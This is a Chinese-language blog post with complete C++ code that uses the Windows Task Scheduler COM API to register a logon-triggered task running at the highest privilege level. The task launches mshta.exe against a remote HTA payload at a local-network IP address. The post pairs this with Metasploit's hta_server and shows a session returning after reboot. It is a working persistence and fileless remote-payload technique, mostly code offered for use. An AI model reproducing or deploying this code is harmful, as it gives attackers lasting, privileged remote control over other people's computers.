使用COM组件创建计划任务

Windows系统可以设置计划任务来指向一些定时任务。本书中计划任务的触发条件是在用户登陆时触发,执行启动指定路径程序的操作

创建计划任务时涉及到COM组件接口的调用,要求管理员权限,程序逻辑概括为三个部分,分别是初始化操作、创建计划任务操作、删除计划任务操作。

1.初始化操作

由于使用COM组件,所以必须调用CoInitialize函数来初始化COM接口环境,这样才能使用COM接口函数。同时也要先获取ITaskService对象指针以及ITaskFolder指针,这两个指针对象主要用来进行计划任务的创建操作。

1.CoInitialize初始化COM组件

2.CoCreateInstance创建任务服务对象

3.连接到任务服务

4.从ITaskService对象中获取根任务Root Task Folder的指针对象ITaskFolder,这个指针指向新注册的任务

初始化操作完成后直接操作ITaskService对象以及ITaskFolder对象

2.创建计划任务

从ITaskService对象中创建一个任务定义对象ITaskDefinition,它被用于创建任务,然后对任务定义对象ITaskDefinition进行设置

设置注册信息,包括设置作者信息。

设置主体信息,包括登陆类型、运行权限。

设置配置信息,包括使用电池运行时是否停止

设置操作信息,包括要启动的程序,并设置程序路径和参数

设置触发器,在用户登陆时执行计划任务

3.删除计划任务

调用DeleteTask接口函数删除指定名称的计划任务

完整代码

这里使用mshta上线,无文件上线的方法很多,不局限这一种

将计划任务设置为执行c:\windows\system32\mshta.exe http://192.168.111.129:8080/p7ptgsev.hta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#include <atlbase.h>
#include <comdef.h>
#include <iostream>
#include <Windows.h>
#include <shlobj_core.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")

ITaskService* m_lpITS = NULL;
ITaskFolder* m_lpRootFolder = NULL;


//初始化COM组件
void Init() {
//1.CoInitialize初始化COM组件
HRESULT hr = CoInitialize(NULL);
if (FAILED(hr)) {
MessageBox(NULL, L"初始化COM组件失败", L"Failed", MB_OK);
}

//2.CoCreateInstance创建任务服务对象
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&m_lpITS);
if (FAILED(hr)) {
MessageBox(NULL, L"创建任务服务失败", L"Failed", MB_OK);
}
//3.连接到任务服务
hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
if (FAILED(hr)) {
MessageBox(NULL, L"连接服务失败", L"Failed", MB_OK);
}
//4.从ITaskService对象中获取根任务Root Task Folder的指针对象ITaskFolder,这个指针指向新注册的任务
hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);
if (FAILED(hr)) {
MessageBox(NULL, L"获取指针失败", L"Failed", MB_OK);

}
}

//卸载COM组件
void UnInit() {
if (m_lpITS)
{
m_lpITS->Release();
}
if (m_lpRootFolder)
{
m_lpRootFolder->Release();
}
::CoUninitialize();
}

//创建计划任务
BOOL CreateTask(const char* lpszTaskName,const char* lpszProgramPath,const char* lpszParameters,const char* lpszAuthor) {
// 创建任务定义对象来创建任务
ITaskDefinition* pTaskDefinition = NULL;
HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);
if (FAILED(hr))
{
return FALSE;
}

/* 设置注册信息 */
IRegistrationInfo* pRegInfo = NULL;
CComVariant variantAuthor(NULL);
variantAuthor = lpszAuthor;
hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);
if (FAILED(hr))
{
return FALSE;
}
// 设置作者信息
hr = pRegInfo->put_Author(variantAuthor.bstrVal);
pRegInfo->Release();

/* 设置登录类型和运行权限 */
IPrincipal* pPrincipal = NULL;
hr = pTaskDefinition->get_Principal(&pPrincipal);
if (FAILED(hr))
{
return FALSE;
}
// 设置登录类型
hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
// 设置运行权限
// 最高权限
hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
pPrincipal->Release();

/* 设置其他信息 */
ITaskSettings* pSettting = NULL;
hr = pTaskDefinition->get_Settings(&pSettting);
if (FAILED(hr))
{
return FALSE;
}
// 设置其他信息
hr = pSettting->put_StopIfGoingOnBatteries(VARIANT_FALSE);
hr = pSettting->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
hr = pSettting->put_AllowDemandStart(VARIANT_TRUE);
hr = pSettting->put_StartWhenAvailable(VARIANT_FALSE);
hr = pSettting->put_MultipleInstances(TASK_INSTANCES_PARALLEL);
pSettting->Release();

/* 创建执行动作 */
IActionCollection* pActionCollect = NULL;
hr = pTaskDefinition->get_Actions(&pActionCollect);
if (FAILED(hr))
{
return FALSE;
}
IAction* pAction = NULL;
// 创建执行操作
hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);
pActionCollect->Release();

/* 设置执行程序路径和参数 */
CComVariant variantProgramPath(NULL);
CComVariant variantParameters(NULL);
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(IID_IExecAction, (PVOID*)(&pExecAction));
if (FAILED(hr))
{
pAction->Release();
return FALSE;
}
pAction->Release();
// 设置程序路径和参数
variantProgramPath = lpszProgramPath;
variantParameters = lpszParameters;
pExecAction->put_Path(variantProgramPath.bstrVal);
pExecAction->put_Arguments(variantParameters.bstrVal);
pExecAction->Release();

/* 创建触发器,实现用户登陆自启动 */
ITriggerCollection* pTriggers = NULL;
hr = pTaskDefinition->get_Triggers(&pTriggers);
if (FAILED(hr))
{
return FALSE;
}
// 创建触发器,把触发器设置为
ITrigger* pTrigger = NULL;
hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);
if (FAILED(hr))
{
return FALSE;
}

/* 注册任务计划 */
IRegisteredTask* pRegisteredTask = NULL;
CComVariant variantTaskName(NULL);
variantTaskName = lpszTaskName;
hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,
pTaskDefinition,
TASK_CREATE_OR_UPDATE,
_variant_t(),
_variant_t(),
TASK_LOGON_INTERACTIVE_TOKEN,
_variant_t(""),
&pRegisteredTask);
if (FAILED(hr))
{
pTaskDefinition->Release();
return FALSE;
}
pTaskDefinition->Release();
pRegisteredTask->Release();
return TRUE;
}


//删除计划任务
BOOL DeleteTask(char* lpszTaskName)
{
if (NULL == m_lpRootFolder)
{
return FALSE;
}
CComVariant variantTaskName(NULL);
variantTaskName = lpszTaskName;
HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);
if (FAILED(hr))
{
return FALSE;
}

return TRUE;
}
int main()
{
const char* lpszTaskName = "aaasacwss"; //任务名
const char* lpszProgramPath = "c:\\windows\\system32\\mshta.exe"; //要执行的程序路径
const char* lpszParameters = "http://192.168.111.129:8080/p7ptgsev.hta"; //程序参数
const char* lpszAuthor = "";

Init();
BOOL bRet=CreateTask(lpszTaskName, lpszProgramPath, lpszParameters, lpszAuthor);
if (!bRet) {
printf("Create Task Failed");
return -1;
}
UnInit();
printf("Successd");

return 0;
}


运行

imgbed.cn图床

添加成功

imgbed.cn图床

使用msf中的hta_server产生hta文件并传递payload,重启后返回一个Session

imgbed.cn图床


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!